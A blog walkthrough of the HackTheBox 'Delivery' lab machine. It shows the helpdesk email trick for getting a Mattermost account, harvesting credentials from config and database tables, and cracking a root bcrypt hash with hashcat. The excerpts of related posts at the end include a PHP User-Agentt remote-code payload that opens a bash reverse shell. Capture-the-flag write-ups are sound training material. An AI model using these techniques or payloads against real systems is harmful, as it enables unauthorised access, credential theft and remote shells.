HackTheBox : Delivery Walkthrough

-

 

Concepts Learnt :

  1. Enumeration
  2. HelpDesk Exploit
  3. Password Cracking Using HashCat

Steps to Enumerate :

Run an Nmap Scan to find all the open ports!

Command : nmap 10.10.10.222 -A

10.10.10.222 IP of the Server

-A This options makes Nmap make an effort in identifying the target OS,services and the versions. It also does traceroute and applies NSE scripts to detect additional information.

-vv Defines level 2 verbosity for the scan

We see that there are 2 ports open :

80/tcp- HTTP port

22/tcp- SSH port

Lets explore the website on port 80

Go to 10.10.10.222:80 in the browser

A simple webpage with a contact us button!

Let explore the site more!

Help Desk and MatterMost Server are two possible links to navigate to! But we can’t directly! We need to add these pages to the /etc/hosts file to resolve them!

Command : sudo nano /etc/hosts

Add the following lines below the user IP!

10.10.10.222 delivery.htb helpdesk.delivery.htb

Now we can access these pages!

Loading the Helpdesk page, we can either create a ticket or check a ticket.

Lets open a new ticket!

Fill out the details for the form!

You will see a result page showing you your ticket id and an email id [ticketid]@delivery.htb.

We can use this to sign up for the MatterMost Server!

Click on Create an Account!

Fill in the email id you received from the ticket we generated above!

Once you create an account you will receive an update on your ticket with the verification!

To check your ticket go back to the ticket center and fill in the test email id you used before and the ticket number!

Select and copy the verification token into the browser and now we can log in!

Once logged in we can see all the chat in the internal channel!

You will find the username and password for the mail server here as well as a Clue to crack the future passwords!

The clue will be used below to crack the passwords!

Now lets use this to ssh into the system!

Command: ssh [username from above!]@10.10.10.222

Type in the password!

Command : ls

We got our first user Flag!

Command : cat user.txt

Now we know that since the mattermost site has a user login system it is most likely it stores in all the possible credentials in a database. The most common database for any website is MySql. But we need credentials for the database.

Checking the folder system we find there is a folder mattermost under /opt/

And we have a config folder under it

Now change Directory to config

Command : cd config

And we have a .json file that can help with the credentials!

We find the creds under “Sql Settings”

Now logging into the SQL database :

Command : mysql -u mmuser -pCrack_The_MM_Admin_PW

Now we can check all possible tables in the Database :

Command : SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE=’BASE TABLE’;

We get all possible tables in the database listed

However we are interested in the users table

Command : SELECT Username,Password,Email FROM Users;

We get the list of all username password and email id!

We can see there is a root username and password, but the password is as hash!

We will have to crack it out using hashcat!

Open a separate terminal and create a folder to store in all the possible files generated from hashcat and used in hashcat.

I created a folder named crack.

And created a file named hash and copied the root hash from the database above.

Next I created a file name clue to store the clue we got from the chat above!

Now we will generate a possible wordlist using the clue above :

Command : hashcat -r /usr/share/hashcat/rules/best64.rule — stdout clue > password.txt

And we get an output file as password.txt with a list of all possible combinations!

Now we will run our hash against this password list.

Command : hashcat -m 3200 hash password.txt

And we get the root password!

Go back to the ssh terminal and switch user to root.

Command : su root

And enter in the password and you are logged in as root!

Now change directory to the root folder

Command : cd /root

And you get the second Flag in root.txt !

This was a fun room to work on. Hope you enjoyed!

Comments

Post a Comment

Popular posts from this blog

HackTheBox : Armageddon Walkthrough

-
Image
  Concepts Learnt : 1. Enumeration 2. Snap privilege escalation 3. Drupal exploit (metasploit) 4. python2 Steps to Enumerate : Run an Nmap Scan to find all the open ports! Command : nmap 10.10.10.233 -A 10.10.10.233  IP of the Server -A  This options makes  Nmap  make an effort in identifying the target OS,services and the versions. It also does traceroute and applies NSE scripts to detect additional information. -vv  Defines level 2 verbosity for the scan We see that there are 4 ports open : 22/tcp- SSH port 80/tcp- HTTP port 2021/tcp — Servexec(filtered) 7435/tcp — unknown(filtered) Lets   check the http site on port 80: A simple website with User Login! Lets try the simple admin:password combination to check! Doesn’t work! Checking the page source, we can see that is Drupal version 7 Let’s check if we can work a way around the login page! Exploring, I found that Drupal 7 can be exploited using Metasploit! Command : msfconsole Command : search drupal We will use the drupalgeddon2 Com
Read more

HackTheBox : Knife Walkthrough

-
Image
  Concepts Learnt : Enumeration 2. Burp Suite 3. PHP Vulnerability 4. Ruby (Knife) Steps to Enumerate : Run an Nmap Scan to find all the open ports! Command : nmap 10.10.10.242 -A 10.10.10.242  IP of the Server -A  This options makes  Nmap  make an effort in identifying the target OS,services and the versions. It also does traceroute and applies NSE scripts to detect additional information. -vv  Defines level 2 verbosity for the scan We see that there are 2 ports open : 22/tcp- SSH port 80/tcp- HTTP port Lets check the http site on port 80: It is   a simple site with no clickable elements! We can see that PHP version is 8.1.0 which is vulnerable to  user agentt RCE Let run the site through burp suite and exploit Capture using the proxy! Now pass it through the repeater and use the RCE code to execute! Command:  User-Agentt: zerodiumsystem(“/bin/bash -c ‘bash -i >& /dev/tcp/ip/port 0>&1’”); Add your IP and port in the command above before executing! Now run the netcat list
Read more

HackTheBox : Script Kiddie Walkthrough

-
Image
Concepts Learnt : Enumeration Malicious payload (apk template) Reverse Shell using bash Privilege escalation Steps to Enumerate : Run an Nmap Scan to find all the open ports! Command : nmap 10.10.10.226 -A 10.10.10.226  IP of the Server -A  This options makes  Nmap  make an effort in identifying the target OS,services and the versions. It also does traceroute and applies NSE scripts to detect additional information. -vv  Defines level 2 verbosity for the scan We see that there are 2 ports open : 22/tcp- SSH port 5000/tcp- HTTP port Lets Explore the website on port 5000 Go to  10.10.10.226:5000  in the browser A simple  w ebpage with 3 Sections Nmap, MsfVenom and Searchsploit. Looking at the webpage we could possibly start with Command Injection or File Upload Exploit. Exploring the ExploitDB database, there is an apk template command injection :  CVE-2020-7384 Steps to Exploit : Run msfconsole to start Metasploit Command : msfconsole Search for apk template to find the exploit options!
Read more